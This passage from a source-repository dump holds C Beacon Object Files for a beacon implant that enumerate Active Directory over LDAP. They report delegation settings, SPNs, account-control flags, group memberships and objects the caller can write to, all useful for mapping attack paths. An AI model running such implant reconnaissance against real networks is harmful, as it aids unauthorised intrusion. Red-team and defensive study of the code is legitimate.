\"objectGUID\") == 0 ||\n                            MSVCRT$_stricmp(attribute, \"objectSid\") == 0 ||\n                            MSVCRT$_stricmp(attribute, \"objectSID\") == 0);\n\n            if (isBinary) {\n                // Handle binary attributes\n                struct berval** bvalues = WLDAP32$ldap_get_values_len(ld, entry, attribute);\n                if (bvalues && bvalues[0]) {\n                    char formatted[256];\n                    if (MSVCRT$_stricmp(attribute, \"objectGUID\") == 0) {\n                        FormatGUID((BYTE*)bvalues[0]->bv_val, formatted);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"%-30s : %s\", attribute, formatted);\n                    } else if (MSVCRT$_stricmp(attribute, \"objectSid\") == 0 ||\n                               MSVCRT$_stricmp(attribute, \"objectSID\") == 0) {\n                        FormatSID((BYTE*)bvalues[0]->bv_val, bvalues[0]->bv_len, formatted);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"%-30s : %s\", attribute, formatted);\n                    }\n                }\n                if (bvalues) WLDAP32$ldap_value_free_len(bvalues);\n            } else {\n                // Handle string attributes\n                char** values = WLDAP32$ldap_get_values(ld, entry, attribute);\n                if (values) {\n                    for (int i = 0; values[i] != NULL; i++) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"%-30s : %s\", attribute, values[i]);\n                    }\n                    WLDAP32$ldap_value_free(values);\n                }\n            }\n\n            WLDAP32$ldap_memfree(attribute);\n            attribute = WLDAP32$ldap_next_attribute(ld, entry, ber);\n        }\n        if (ber) WLDAP32$ber_free(ber, 0);\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(objectDN);\n    MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-rbcd.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n#include \"acl_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Resolve target DN\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Query msDS-AllowedToActOnBehalfOfOtherIdentity attribute\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"msDS-AllowedToActOnBehalfOfOtherIdentity\", NULL };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        targetDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query RBCD attribute\");\n        PrintLdapError(\"Query RBCD\", result);\n        MSVCRT$free(targetDN);\n        MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        struct berval** values = WLDAP32$ldap_get_values_len(ld, entry, \"msDS-AllowedToActOnBehalfOfOtherIdentity\");\n        if (values && values[0]) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] RBCD Configuration Found:\");\n            BeaconPrintf(CALLBACK_OUTPUT, \"==============================\");\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] msDS-AllowedToActOnBehalfOfOtherIdentity is set (%d bytes)\", values[0]->bv_len);\n\n            // Parse the security descriptor stored in this attribute\n            PSD_INFO sdInfo = ParseSecurityDescriptor((BYTE*)values[0]->bv_val, values[0]->bv_len);\n            if (sdInfo) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Principals allowed to delegate:\");\n                if (sdInfo->DaclAces) {\n                    for (DWORD i = 0; i < sdInfo->DaclAceCount; i++) {\n                        PPARSED_ACE_INFO ace = &sdInfo->DaclAces[i];\n                        if (ace->TrusteeSid) {\n                            // Try to resolve the SID to a name\n                            char* trusteeName = ResolveSidToName(ld, ace->TrusteeSid, defaultNC);\n                            if (trusteeName) {\n                                BeaconPrintf(CALLBACK_OUTPUT, \"    [%d] %s (%s)\", i, trusteeName, ace->TrusteeSid);\n                                MSVCRT$free(trusteeName);\n                            } else {\n                                BeaconPrintf(CALLBACK_OUTPUT, \"    [%d] %s\", i, ace->TrusteeSid);\n                            }\n                        }\n                    }\n                }\n                FreeSecurityDescriptorInfo(sdInfo);\n            } else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[*] Could not parse RBCD security descriptor\");\n            }\n\n            WLDAP32$ldap_value_free_len(values);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] No RBCD configuration found\");\n        }\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(targetDN);\n    MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-spn.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve target DN\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Query servicePrincipalName attribute\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"servicePrincipalName\", NULL };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        targetDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query SPNs\");\n        PrintLdapError(\"Query SPN\", result);\n        MSVCRT$free(targetDN);\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        char** values = WLDAP32$ldap_get_values(ld, entry, \"servicePrincipalName\");\n        if (values) {\n            int spnCount = WLDAP32$ldap_count_values(values);\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] Service Principal Names (%d):\", spnCount);\n            BeaconPrintf(CALLBACK_OUTPUT, \"==================================\");\n            for (int i = 0; values[i] != NULL; i++) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"%s\", values[i]);\n            }\n            WLDAP32$ldap_value_free(values);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] No SPNs configured for this object\");\n        }\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-uac.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nDECLSPEC_IMPORT long __cdecl MSVCRT$strtol(const char* str, char** endptr, int base);\n\n// UAC flag name to value mapping\ntypedef struct {\n    const char* name;\n    DWORD value;\n    const char* description;\n} UAC_FLAG_MAP;\n\nstatic const UAC_FLAG_MAP uacFlags[] = {\n    {\"SCRIPT\", UF_SCRIPT, \"Logon script executed\"},\n    {\"ACCOUNTDISABLE\", UF_ACCOUNTDISABLE, \"Account disabled\"},\n    {\"HOMEDIR_REQUIRED\", UF_HOMEDIR_REQUIRED, \"Home directory required\"},\n    {\"LOCKOUT\", UF_LOCKOUT, \"Account locked out\"},\n    {\"PASSWD_NOTREQD\", UF_PASSWD_NOTREQD, \"No password required\"},\n    {\"PASSWD_CANT_CHANGE\", UF_PASSWD_CANT_CHANGE, \"User cannot change password\"},\n    {\"ENCRYPTED_TEXT_PWD_ALLOWED\", UF_ENCRYPTED_TEXT_PWD_ALLOWED, \"Reversible encryption enabled\"},\n    {\"TEMP_DUPLICATE_ACCOUNT\", UF_TEMP_DUPLICATE_ACCOUNT, \"Local user account\"},\n    {\"NORMAL_ACCOUNT\", UF_NORMAL_ACCOUNT, \"Normal user account\"},\n    {\"INTERDOMAIN_TRUST_ACCOUNT\", UF_INTERDOMAIN_TRUST_ACCOUNT, \"Interdomain trust account\"},\n    {\"WORKSTATION_TRUST_ACCOUNT\", UF_WORKSTATION_TRUST_ACCOUNT, \"Computer account\"},\n    {\"SERVER_TRUST_ACCOUNT\", UF_SERVER_TRUST_ACCOUNT, \"Domain controller account\"},\n    {\"DONT_EXPIRE_PASSWD\", UF_DONT_EXPIRE_PASSWD, \"Password never expires\"},\n    {\"MNS_LOGON_ACCOUNT\", UF_MNS_LOGON_ACCOUNT, \"MNS logon account\"},\n    {\"SMARTCARD_REQUIRED\", UF_SMARTCARD_REQUIRED, \"Smart card required\"},\n    {\"TRUSTED_FOR_DELEGATION\", UF_TRUSTED_FOR_DELEGATION, \"Trusted for delegation\"},\n    {\"NOT_DELEGATED\", UF_NOT_DELEGATED, \"Cannot be delegated\"},\n    {\"USE_DES_KEY_ONLY\", UF_USE_DES_KEY_ONLY, \"DES encryption only\"},\n    {\"DONT_REQ_PREAUTH\", UF_DONT_REQ_PREAUTH, \"Pre-authentication not required\"},\n    {\"PASSWORD_EXPIRED\", UF_PASSWORD_EXPIRED, \"Password expired\"},\n    {\"TRUSTED_TO_AUTH_FOR_DELEGATION\", UF_TRUSTED_TO_AUTH_FOR_DELEGATION, \"Trusted for constrained delegation\"},\n    {\"NO_AUTH_DATA_REQUIRED\", UF_NO_AUTH_DATA_REQUIRED, \"No Kerberos PAC required\"},\n    {\"PARTIAL_SECRETS_ACCOUNT\", UF_PARTIAL_SECRETS_ACCOUNT, \"RODC partial secrets\"},\n    {NULL, 0, NULL}\n};\n\nvoid PrintUACFlags(DWORD uacValue) {\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Current UAC value: 0x%08X (%lu)\", uacValue, uacValue);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Active flags:\");\n\n    BOOL foundAny = FALSE;\n    for (int i = 0; uacFlags[i].name != NULL; i++) {\n        if (uacValue & uacFlags[i].value) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"    %-35s (0x%08X) - %s\",\n                        uacFlags[i].name,\n                        uacFlags[i].value,\n                        uacFlags[i].description);\n            foundAny = TRUE;\n        }\n    }\n\n    if (!foundAny) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"    (No flags set)\");\n    }\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve target DN\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Query UAC attribute\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"userAccountControl\", NULL };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        targetDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query UAC\");\n        PrintLdapError(\"Query UAC\", result);\n        MSVCRT$free(targetDN);\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        char** values = WLDAP32$ldap_get_values(ld, entry, \"userAccountControl\");\n        if (values && values[0]) {\n            DWORD uacValue = (DWORD)MSVCRT$strtol(values[0], NULL, 10);\n            PrintUACFlags(uacValue);\n            WLDAP32$ldap_value_free(values);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] No userAccountControl attribute found\");\n        }\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-usergroups.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: user_identifier, is_dn, search_ou, dc_address, use_ldaps\n    char* userIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isUserDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!userIdentifier || MSVCRT$strlen(userIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] User identifier is required\");\n        return;\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Resolve user DN\n    char* userDN = NULL;\n    if (isUserDN) {\n        size_t len = MSVCRT$strlen(userIdentifier) + 1;\n        userDN = (char*)MSVCRT$malloc(len);\n        if (userDN) {\n            MSVCRT$strcpy(userDN, userIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        userDN = FindObjectDN(ld, userIdentifier, searchBase);\n        if (!userDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] User '%s' not found\", userIdentifier);\n            MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] User DN: %s\", userDN);\n    }\n\n    // Query the user's memberOf attribute\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"memberOf\", NULL };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        userDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query user groups\");\n        PrintLdapError(\"Query memberOf\", result);\n        MSVCRT$free(userDN);\n        MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        char** memberOfValues = WLDAP32$ldap_get_values(ld, entry, \"memberOf\");\n        if (memberOfValues) {\n            int groupCount = WLDAP32$ldap_count_values(memberOfValues);\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] User is member of %d group(s):\\n\", groupCount);\n            BeaconPrintf(CALLBACK_OUTPUT, \"Group DN\");\n            BeaconPrintf(CALLBACK_OUTPUT, \"========\");\n            for (int i = 0; memberOfValues[i] != NULL; i++) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"%s\", memberOfValues[i]);\n            }\n            WLDAP32$ldap_value_free(memberOfValues);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] User is not a member of any groups (or only primary group)\");\n        }\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(userDN);\n    MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-users.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: search_ou, dc_address, use_ldaps, attributes\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    char* attributesStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n\n    // Build attribute list\n    char* attrs[64];\n    char* defaultAttrs[] = { \"distinguishedName\" };\n    int attrCount = BuildAttributeList(attributesStr, defaultAttrs, 1, attrs, 64);\n\n    // Check if ntSecurityDescriptor is requested (case-insensitive)\n    BOOL needSDFlags = FALSE;\n    for (int i = 0; i < attrCount; i++) {\n        if (MSVCRT$_stricmp(attrs[i], \"ntSecurityDescriptor\") == 0) {\n            needSDFlags = TRUE;\n            break;\n        }\n    }\n\n    // Search for user objects\n    LDAPMessage* searchResult = NULL;\n    ULONG result;\n\n    if (needSDFlags) {\n        // Create SD_FLAGS control for ntSecurityDescriptor\n        DWORD sdFlags = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION;\n\n        char sdFlagsBuffer[10];\n        struct berval sdFlagsValue;\n        LDAPControlA* sdFlagsControl = BuildSDFlagsControl(sdFlags, sdFlagsBuffer, &sdFlagsValue);\n\n        LDAPControlA* serverControls[] = { sdFlagsControl, NULL };\n\n        result = WLDAP32$ldap_search_ext_s(\n            ld,\n            searchBase,\n            LDAP_SCOPE_SUBTREE,\n            \"(&(objectClass=user)(objectCategory=person))\",\n            attrs,\n            0,\n            serverControls,\n            NULL,           // ClientControls\n            NULL,           // timeout\n            0,              // SizeLimit\n            &searchResult\n        );\n    } else {\n        result = WLDAP32$ldap_search_s(\n            ld,\n            searchBase,\n            LDAP_SCOPE_SUBTREE,\n            \"(&(objectClass=user)(objectCategory=person))\",\n            attrs,\n            0,\n            &searchResult\n        );\n    }\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to search for users\");\n        PrintLdapError(\"Search users\", result);\n        MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    int userCount = WLDAP32$ldap_count_entries(ld, searchResult);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Found %d user(s):\\n\", userCount);\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    while (entry != NULL) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"===================================\");\n\n        // Display all requested attributes\n        for (int i = 0; i < attrCount; i++) {\n            DisplayAttributeValue(ld, entry, attrs[i]);\n        }\n\n        entry = WLDAP32$ldap_next_entry(ld, entry);\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-writable.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: search_ou, dc_address, use_ldaps, detailed\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    int detailed = BeaconDataInt(&parser);\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n\n    // Search for objects - we'll check each one for write access\n    // Focus on high-value targets: users, computers, groups\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \n        \"distinguishedName\", \n        \"objectClass\",\n        \"allowedAttributesEffective\",  // This shows what the current user can write\n        \"allowedChildClassesEffective\", // This shows what child objects can be created\n        NULL \n    };\n\n    // Search for users and computers (objectCategory=person catches users)\n    char* filter = \"(|(objectClass=user)(objectClass=computer)(objectClass=group)(objectClass=organizationalUnit))\";\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        searchBase,\n        LDAP_SCOPE_SUBTREE,\n        filter,\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to search for objects\");\n        PrintLdapError(\"Search objects\", result);\n        MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    int totalCount = WLDAP32$ldap_count_entries(ld, searchResult);\n    int writableCount = 0;\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    while (entry != NULL) {\n        char** dnValues = WLDAP32$ldap_get_values(ld, entry, \"distinguishedName\");\n        char** effectiveAttrs = WLDAP32$ldap_get_values(ld, entry, \"allowedAttributesEffective\");\n        char** childClasses = WLDAP32$ldap_get_values(ld, entry, \"allowedChildClassesEffective\");\n\n        BOOL hasWritePerms = (effectiveAttrs && effectiveAttrs[0]);\n        BOOL hasCreateChild = (childClasses && childClasses[0]);\n        \n        // If the object has writable attributes OR createChild permissions, it's interesting\n        if (hasWritePerms || hasCreateChild) {\n            writableCount++;\n            \n            if (detailed) {\n                // Show DN\n                if (dnValues && dnValues[0]) {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"distinguishedName: %s\", dnValues[0]);\n                }\n                \n                // Show all writable attributes\n                if (hasWritePerms) {\n                    int i = 0;\n                    while (effectiveAttrs[i] != NULL) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"%s: WRITE\", effectiveAttrs[i]);\n                        i++;\n                    }\n                }\n                \n                // Show all creatable child classes\n                if (hasCreateChild) {\n                    int i = 0;\n                    while (childClasses[i] != NULL) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"%s: CREATE_CHILD\", childClasses[i]);\n                        i++;\n                    }\n                }\n                \n                BeaconPrintf(CALLBACK_OUTPUT, \"\\n\");  // Blank line between objects\n            } else {\n                // Just show DN and permission type(s)\n                if (dnValues && dnValues[0]) {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"distinguishedName: %s\", dnValues[0]);\n                    \n                    // Show which permission types apply\n                    if (hasWritePerms && hasCreateChild) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"permission: WRITE, CREATE_CHILD\");\n                    } else if (hasWritePerms) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"permission: WRITE\");\n                    } else if (hasCreateChild) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"permission: CREATE_CHILD\");\n                    }\n                    \n                    BeaconPrintf(CALLBACK_OUTPUT, \"\\n\");  // Blank line between objects\n                }\n            }\n        }\n        \n        if (dnValues) WLDAP32$ldap_value_free(dnValues);\n        if (effectiveAttrs) WLDAP32$ldap_value_free(effectiveAttrs);\n        if (childClasses) WLDAP32$ldap_value_free(childClasses);\n        entry = WLDAP32$ldap_next_entry(ld, entry);\n    }\n    \n    WLDAP32$ldap_msgfree(searchResult);\n    MSVCRT$free(defaultNC);\n    